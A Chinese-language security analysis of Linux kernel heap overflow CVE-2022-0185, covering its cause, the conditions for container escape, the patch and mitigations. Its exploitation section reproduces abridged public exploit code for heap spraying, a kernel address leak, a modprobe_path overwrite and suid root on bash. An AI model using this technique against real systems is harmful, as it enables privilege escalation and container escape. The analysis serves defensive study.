Linux內核漏洞——CVE-2022-0185分析與思考
簡介
CVE-2022-0185是一個Linux內核中"Filesystem Context"中的一個堆溢出漏洞,攻擊者可以利用該漏洞發起DDoS攻擊,實現容器逃逸和提升至主機權限。該漏洞是在Google KCTF(基于Kubernetes的CTF)漏洞賞金計劃中被Crusaders of Rust[1]團隊的成員Jamie Hill-Daniel和William Liu發現[2]的,研究員因此獲得了31337美元的獎勵。NVD官網[3]最新數據顯示,該漏洞CVSS3.x的評分為8.4。
據William所言,存在問題的代碼于2019年3月在5.1-rc1版本中被引入Linux內核,直至2022年1月18日(5.16.2版本),官方才發布補丁修復該漏洞。然而要想成功利用CVE-2022-0185卻并不容易,William在博客中用大量篇幅來講述漏洞發現的過程和整個利用鏈的過程,感興趣的讀者可以閱讀博客[4]。本文的目的之一是希望讀者能夠理解該漏洞的原理,作為云安全從業者,能夠做好針對性的檢測和防御工作。下面筆者將給出理解該漏洞所需的背景知識,然后對該漏洞進行分析,并給出相關緩解和修復方案,最后思考該漏洞的防御工作。
免責聲明:本文中提到的漏洞利用代碼和分析皆已在github倉庫[5]和研究員博客中公開,僅供研究交流使用,請遵守《網絡安全法》等相關法律法規,切勿將其用于未授權滲透測試。
背景知識
1Filesystem Context
Filesystem Context是在創建Superblock的掛載和重新配置時使用的[6]。Superblock記錄了一個文件系統的特征,包括它的大小、區塊大小、空的和已填充的區塊及其各自的計數、inode表的大小和位置、磁盤區塊圖和使用信息,以及區塊組的大小。
2Capabilities —— CAP_SYS_ADMIN
Capabilities機制是在Linux內核2.2版本之后引入的,它的出現是為了對root權限進行更細粒度的控制,實現按需授權。常見的capability所允許的操作或行為如下表所示[7]:
capability 名稱 描述 CAP_CHOWN 改變文件的所屬者(chown()) CAP_KILL 向進程發送信號(kill(), signal()) CAP_SETUID 改變進程的uid(setuid(), setreuid(), setresuid()等) CAP_SYS_PTRACE trace進程(ptrace()) CAP_SYS_ADMIN 提供系統管理員級別的操作 |
本文需要關注的是CAP_SYS_ADMIN,它提供眾多命令的權限,如mount(2),umount(2),clone(2) 和 unshare(2)等。
3Seccomp —— Docker與Kubernetes的區別
Seccomp 全稱Secure computing mode,意為安全計算模式,自 2.6.12 版本以來一直是 Linux 內核的功能。它可以用來對進程的特權進行沙盒處理,從而限制了它可以從用戶空間向內核進行的調用。只有當Docker在構建時使用了Seccomp,并且內核在配置時啟用了CONFIG_SECCOMP,這個功能才可用。可以用以下命令來檢查當前環境是否支持Seccomp:
grep CONFIG_SECCOMP= /boot/config-$(uname -r)
當使用Docker運行一個容器時,它會使用默認的配置文件[8],除非使用--security-opt參數來指定自定義配置文件。該配置文件是一個允許列表,它默認拒絕訪問系統調用,只有列表中的系統調用可以執行,一些重要的系統調用如clone,ptrace,unshare等都默認禁止在Docker中執行,如圖1所示:

圖1 Docker容器中默認禁用unshare
被禁用的原因在官方文檔[9]有所說明,感興趣的可以閱讀了解。
但在早先版本(1.22版本之前)的Kubernetes集群中使用Docker時,Seccomp機制卻是默認禁用的。在Kubernetes集群中創建一個普通的Pod資源,檢查Seccomp機制的狀態和Pod內部系統調用的執行情況,如圖2所示:

圖2 Kubernetes集群中Pod內部默認不禁用unshare
可以看到Seccomp的狀態值為0,代表禁用狀態。
自1.22版本開始,Kubernetes引入了SeccompDefault特性,用來增強集群環境內的安全性。當該特性啟用時,kubelet將默認使用由容器運行時定義的RuntimeDefault Seccomp配置文件,限制集群環境內的系統調用。
漏洞分析
1漏洞成因
該漏洞發生Filesystem Context處理legacy參數時,由fs/fs_context.c的legacy_parse_param函數中存在的整數下溢引起,問題源碼如下:
if (len > PAGE_SIZE -2 - size) return invalf(fc, "VFS: Legacy: Cumulative optionstoo large");if (strchr(param->key,',') || (param->type == fs_value_is_string&& memchr(param->string, ',',param->size))) return invalf(fc, "VFS: Legacy: Option '%s'contained comma", param->key);if (!ctx->legacy_data){ ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); if (!ctx->legacy_data) return -ENOMEM;}
在第551行(源代碼中所在行數,下同)存在一個邊界檢查,如果(len>PAGE_SIZE- 2 - size),將返回一個錯誤;但當size大小為4095或更大時,因為PAGE_SIZE是4Kb ,無符號減法PAGE_SIZE - 2 - size的計算結果將是一個巨大的正值,該正值大于len,所以檢查將不會觸發,然后就會有一個越界寫入(在第566行):
ctx->legacy_data[size++] = ',';len = strlen(param->key);memcpy(ctx->legacy_data+ size, param->key, len);size += len;if (param->type == fs_value_is_string) { ctx->legacy_data[size++]= '=';}
因此通過向有漏洞的函數發送超過4095字節的數據,可以繞過輸入長度檢查,導致越界寫入。這使得攻擊者可以寫到內存的其他部分,導致系統崩潰或運行任意代碼從而實現容器逃逸或權限提升。
2漏洞利用條件
該漏洞在宿主機上用于提升權限時,暫未發現利用的前提條件,只需以非root用戶執行代碼即可。
若用于容器逃逸,因為容器環境的安全隔離機制,需要判斷容器內的環境是否滿足一定條件。公開的利用鏈中包括特權系統調用,如fsopen(),因此需要攻擊者擁有CAP_SYS_ADMIN capability(在任何命名空間),但該capability往往在容器以特權啟動時被授予,或者添加--cap-add=SYS_ADMIN參數授予,并不會廣泛出現。然而,該capability可以通過unshare系統調用獲得。unshare系統調用會將進程分配至新的namespace,如在容器內部使用unshare -U命令可以使用戶進入一個新的user namespace,由于Linux capability繼承的機制,新的namespace擁有全部的capabilities,也包括CAP_SYS_ADMIN。通過上文的背景知識可以了解到比較矛盾的是,在Docker容器中,因為Seccomp機制的限制,unshare系統調用會被禁止,所以此種方法在普通業務容器中并不適用。但當處于低版本(1.22版本之前)的Kubernetes集群環境中,在默認配置情況下,非特權用戶可以在Pod內部順利執行unshare系統調用。因此,CVE-2022-0185用來容器逃逸的場景主要限于低版本Kubernetes集群環境。
漏洞利用
漏洞發現團隊在GitHub倉庫公開了漏洞利用代碼,其中fuse版本是針對5.11.0-44內核版本的本地權限提升代碼。它不會直接返回一個rootshell,而是使/bin/bash添加suid權限,該腳本利用思路大致如下:
1. 使用堆溢出來調整msg_msg的size,調用msgrcv()讀內存,觸發越界讀取(注:調用msgrcv()讀取內核數據時,帶上MSG_COPY標志避免unlink時崩潰),接著使用open(“/proc/self/stat”, O_RDONLY)的技巧噴射許多seq_operations結構,嘗試讀取該結構泄露的指針,由此獲得內核基址,并計算出modprobe_path地址:
uint64_t do_leak (){ ...... // 噴射msg_msg對象 for (int i = 0; i< 8; i++) { memset(buffer,0x41+i, sizeof(buffer)); targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } memset(pat, 0x42,sizeof(pat)); pat[sizeof(pat)-1]= '\x00'; ...... strcpy(pat,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i< 117; i++) { fsconfig(fd,FSCONFIG_SET_STRING, "\x00", pat, 0); } // 嘗試用msg_msg對象引起越界讀取 puts("[*]Overflowing..."); pat[21] = '\x00'; char evil[] ="\x60\x10"; fsconfig(fd,FSCONFIG_SET_STRING, "\x00", pat, 0); // 噴射更多msg_msg for (int i = 8; i< 0x10; i++) { memset(buffer,0x41+i, sizeof(buffer)); targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } fsconfig(fd,FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[*]Done heap overflow"); puts("[*]Spraying kmalloc-32"); for (int i = 0; i< 100; i++) { open("/proc/self/stat", O_RDONLY); } size = 0x1060; puts("[*]Attempting to recieve corrupted size and leak data"); // 檢查是否可以得到泄露的內核基址 for (int j = 0; j< 0x10; j++) { get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY |MSG_NOERROR); kbase =do_check_leak(recieved); if (kbase) { close(fd); returnkbase; } } puts("[X] Noleaks, trying again"); return 0;}
2. 然后利用作者提出的利用msg_msg對象進行任意地址讀和寫技術[11][12],該技術需要用到userfaultfd技術,但從內核5.11版本開始,非特權的userfaultfd默認是禁用的,所以作者在此引入了FUSE技術來替代,用任意地址寫來實現用自定義的腳本覆蓋modprobe_path:
void do_win(){ ...... puts("[*]Prepaing fault handlers via FUSE"); int evil_fd =open("evil/evil", O_RDWR); if (evil_fd <0) { perror("evil fd failed"); exit(-1); } if ((mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd,0)) != (void *)0x1338000) { perror("mmap fail fuse 1"); exit(-1); } pthread_t thread; int race =pthread_create(&thread, NULL, arb_write, NULL); if(race != 0) { perror("can't setup threads for race"); } send_msg(target,rooter, size - 0x30, 0); pthread_join(thread, NULL); munmap((void*)0x1337000, 0x1000); munmap((void*)0x1338000, 0x1000); close(evil_fd); close(fd);}
3. 最后使用execve觸發modprobe,利用modprobe_path覆寫技術,成功賦予/bin/bash suid權限:
void modprobe_hax(){ puts("[*]Attempting to trigger modprobe"); execve(modprobe_trigger, NULL, NULL); return;}
腳本成功利用后可使用bash -p獲得root權限。
要想使利用代碼適用不同的內核版本,還需調整代碼中single_start和modprobe_path的偏移量。
kctf版本代碼可實現在GKE環境中完成容器逃逸,但是并不是100%可以成功,利用代碼主要依賴FUSE和SYSVIPC彈性對象來實現任意寫入。該版本代碼若要適用不同的集群環境,需要修改的內容較多,本文暫不贅述。
除了"Crusaders of Rust "團隊的利用代碼,還有另一位研究人員發表了漏洞利用代碼和技術分析文章[13],同樣詳細講述了漏洞的利用過程,感興趣的讀者可以閱讀。
補丁分析
查看官方針對此漏洞的補丁[14],修復后的代碼如下:
fs/fs_context.c@@ -548,7 +548,7 @@ static int legacy_parse_param(structfs_context *fc, struct fs_parameter *param) param->key); } if (size +len + 2 > PAGE_SIZE) returninvalf(fc, "VFS: Legacy: Cumulative options too large"); if(strchr(param->key, ',') || (param->type == fs_value_is_string&&
修復方案較為簡單,僅將之前的減法運算變更為加法,即條件判斷改為size+ len + 2 > PAGE_SIZE,就可以解決這個問題。
漏洞修復與緩解
用戶可以升級Linux kernel到5.16.2版本來修復該漏洞。但是該修復版本并不適用于所有Linux發行版,包括那些使用Linux kernel開發的系統。對于這些暫時沒有可用補丁的系統,建議用戶禁用非特權用戶命名空間。
在Ubuntu系統中,可以使用以下命令來禁用非特權用戶命名空間:
sysctl -w kernel.unprivileged_userns_clone=0
Red Hat 用戶可以使用以下命令來禁用用戶命名空間:
echo"user.max_user_namespaces=0" > /etc/sysctl.d/userns.confsysctl -p/etc/sysctl.d/userns.conf
對于在Amazon EKS,Azure AKS和Google GKE環境的用戶,可以通過更新節點鏡像的方式修復漏洞[15]。
防范措施
了解漏洞的原理和利用條件之后,便可以從利用鏈的不同環節去防范此漏洞的利用。除了升級內核或更新補丁外,還可以用以下方法進行防范:
1. 在容器環境中啟用Seccomp機制,確保unshare系統調用的禁用。
2. 對于低版本的Kubernetes環境,可以禁用非特權用戶命名空間,具體參考上文中漏洞修復中步驟。
3. 對于1.22版以上的Kubernetes,可以在資源創建時使用SecurityContext添加默認的Seccomp或AppArmor配置文件,以保護任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用運行時默認Seccomp配置限制Pod使用unshare系統調用,具體配置方法如下:
apiVersion:v1kind:Podmetadata: name:default-Pod labels: app:default-Podspec: securityContext: SeccompProfile: type:RuntimeDefault #將Pod的Seccomp類型設置為RuntimeDefault containers: - name:test image: ubuntuimagePullPolicy: IfNotPresent"command: ["/bin/bash", "-c", "--" ]args: [ "while true; dosleep 30; done;" ] securityContext: allowPrivilegeEscalation:false
4. 謹慎部署privileged特權容器,謹慎給Pod添加CAP_SYS_ADMIN內核能力。CAP_SYS_ADMIN雖只是眾多capabilities中的一種,但其代表的權限略高,據《CAP_SYS_ADMIN: the new root》[16]中介紹,許多開發者會在授權capability時不知道如何細分,最終選擇CAP_SYS_ADMIN來滿足環境。
總結與思考
Linux作為一款免費開源的操作系統,被越來越多的用戶和企業使用。正因用戶數量大,使用范圍廣,一旦其內核曝出相關漏洞,往往后果嚴重。觀察近幾年曝出的內核相關漏洞,大多數是問題代碼存在已久,在和不同的技術融合時,才作為漏洞被研究者挖掘出來。CVE-2022-0185雖已公開利用代碼,但因為其利用代碼適用性的問題,預測用于“本地權限提升”的可能性要大于容器逃逸。即便如此,由于容器共享宿主機內核的緣故,集群環境中大多數宿主機為Linux系統,云原生環境安全問題仍不容小覷。
希望讀者以此文章對該漏洞有更好的了解與認識,建立針對該漏洞的方法和檢測機制,共同建設云環境安全。
參考文獻
[1] https://cor.team/
[2] https://www.openwall.com/lists/oss-security/2022/01/18/7
[3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185
[4] https://www.willsroot.io/2022/01/cve-2022-0185.html
[5] https://github.com/Crusaders-of-Rust/CVE-2022-0185
[6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context
[7] https://man7.org/linux/man-pages/man7/capabilities.7.html
[8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json
[9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile
[10] https://www.openwall.com/lists/oss-security/2022/01/25/14
[11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
[12] https://syst3mfailure.io/wall-of-perdition
[13] https://www.openwall.com/lists/oss-security/2022/01/25/14
[14] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756
[15] https://jfrog.com/blog/the-impact-of-cve-2022-0185-linux-kernel-vulnerability-on-popular-kubernetes-engines/
[16] https://lwn.net/Articles/486306/